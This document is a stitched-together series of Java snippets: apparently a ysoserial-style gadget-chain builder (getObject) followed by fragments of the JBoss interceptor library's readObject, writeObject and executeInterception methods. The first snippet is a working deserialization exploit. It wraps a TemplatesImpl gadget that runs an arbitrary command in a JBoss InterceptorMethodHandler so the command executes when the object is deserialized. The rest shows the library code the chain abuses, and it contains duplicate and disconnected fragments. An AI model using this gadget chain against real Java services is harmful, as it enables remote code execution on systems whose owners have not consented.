public Object getObject(final String command) throws Exception { final Object gadget = Gadgets.createTemplatesImpl(command); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); Set<InterceptionType> s = new HashSet<InterceptionType>(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); defaultMethodMetadataConstructor.setAccessible(true); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); List list = new ArrayList(); list.add(methodMetadata); Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>(); hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); builder.interceptAll().with(simpleInterceptorMetadata); InterceptionModel model = builder.build(); HashMap map = new HashMap(); map.put("ysoserial", "ysoserial"); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return gadget; } }; return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); }
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException { try { executeInterception(isProxy() ? targetInstance : null, null, null, null, InterceptionType.PRE_PASSIVATE); objectOutputStream.defaultWriteObject(); } catch (Throwable throwable) { throw new IOException("Error while serializing class", throwable); } }
return thisMethod.invoke(getTargetInstance(), args); return executeInterception(thisMethod, args, InterceptionType.AROUND_TIMEOUT); return executeInterception(thisMethod, args, InterceptionType.AROUND_INVOKE); return executeInterception(null, null, InterceptionType.POST_CONSTRUCT); return executeInterception(null, null, InterceptionType.PRE_DESTROY);
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException { try { executeInterception(null, null, InterceptionType.PRE_PASSIVATE); objectOutputStream.defaultWriteObject(); } catch (Throwable throwable) { throw new IOException("Error while serializing class", throwable); } }
private Object executeInterception(Object self, Method proceedingMethod, Method thisMethod, Object[] args, InterceptionType interceptionType) throws Throwable { List<? extends InterceptorMetadata<?>> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod); Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>(); for (InterceptorMetadata interceptorReference : interceptorList) { interceptorInvocations.add(new InterceptorInvocation(interceptorHandlerInstances.get(interceptorReference), interceptorReference, interceptionType)); } if (targetClassInterceptorMetadata != null && targetClassInterceptorMetadata.getInterceptorMethods(interceptionType) != null && !targetClassInterceptorMetadata.getInterceptorMethods(interceptionType).isEmpty()) { interceptorInvocations.add(new InterceptorInvocation(isProxy() ? targetInstance : self, targetClassInterceptorMetadata, interceptionType)); } SimpleInterceptionChain chain = new SimpleInterceptionChain(interceptorInvocations, interceptionType, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod); return chain.invokeNextInterceptor(invocationContextFactory.newInvocationContext(chain, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod, args)); }
private Object executeInterception(Method thisMethod, Object[] args, InterceptionType interceptionType) throws Throwable { List<InterceptionHandler> interceptionHandlers = new ArrayList<InterceptionHandler>(); for (InterceptionModel interceptionModel : interceptionModels) { List<?> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod); for (Object interceptorReference : interceptorList) { interceptionHandlers.add(interceptorHandlerInstances.get(interceptorReference)); } } if (targetClassInterceptorMetadata != null && targetClassInterceptorMetadata.getInterceptorMethods(interceptionType) != null && !targetClassInterceptorMetadata.getInterceptorMethods(interceptionType).isEmpty()) { interceptionHandlers.add(new DirectClassInterceptionHandler<Class<?>>(getTargetInstance(), targetClassInterceptorMetadata)); } InterceptionChain chain = new InterceptionChain(interceptionHandlers, interceptionType, getTargetInstance(), thisMethod, args); return chain.invokeNext(new InterceptorInvocationContext(chain, getTargetInstance(), thisMethod, args)); }
private void readObject(ObjectInputStream objectInputStream) throws IOException { try { objectInputStream.defaultReadObject(); if (isProxy() && targetInstance instanceof ProxyObject && ((ProxyObject) targetInstance).getHandler() == null) { ((ProxyObject) targetInstance).setHandler(DEFAULT_METHOD_HANDLER); } executeInterception(isProxy() ? targetInstance : null, null, null, null, InterceptionType.POST_ACTIVATE); } catch (Throwable throwable) { throw new IOException("Error while deserializing class", throwable); } }
private void readObject(ObjectInputStream objectInputStream) throws IOException { try { objectInputStream.defaultReadObject(); executeInterception(null, null, InterceptionType.POST_ACTIVATE); } catch (Throwable throwable) { throw new IOException("Error while deserializing class", throwable); } }
public <T> MethodHandler createMethodHandler(Object target, ClassMetadata<T> proxyClass) { return new InterceptorMethodHandler(target, proxyClass, interceptionModel, interceptorInstantiator, invocationContextFactory); }
return executeInterception(isProxy() ? null : self, null, null, null, InterceptionType.POST_CONSTRUCT); return executeInterception(isProxy() ? null : self, null, null, null, InterceptionType.PRE_DESTROY); if (isProxy()) return executeInterception(isProxy() ? null : self, thisMethod, thisMethod, args, InterceptionType.AROUND_TIMEOUT); return executeInterception(isProxy() ? null : self, thisMethod, thisMethod, args, InterceptionType.AROUND_INVOKE);
public <T> MethodHandler createSubclassingMethodHandler(Object targetInstance, ClassMetadata<T> proxyClass) { return new InterceptorMethodHandler(targetInstance, proxyClass, interceptionModel, interceptorInstantiator, invocationContextFactory); }
public <T> MethodHandler createMethodHandler(Object target, Class<T> proxyClass, InterceptorMetadata interceptorMetadata) { return new InterceptorMethodHandler(target, proxyClass, getModelsFor(proxyClass), interceptionHandlerFactories, interceptorMetadata); }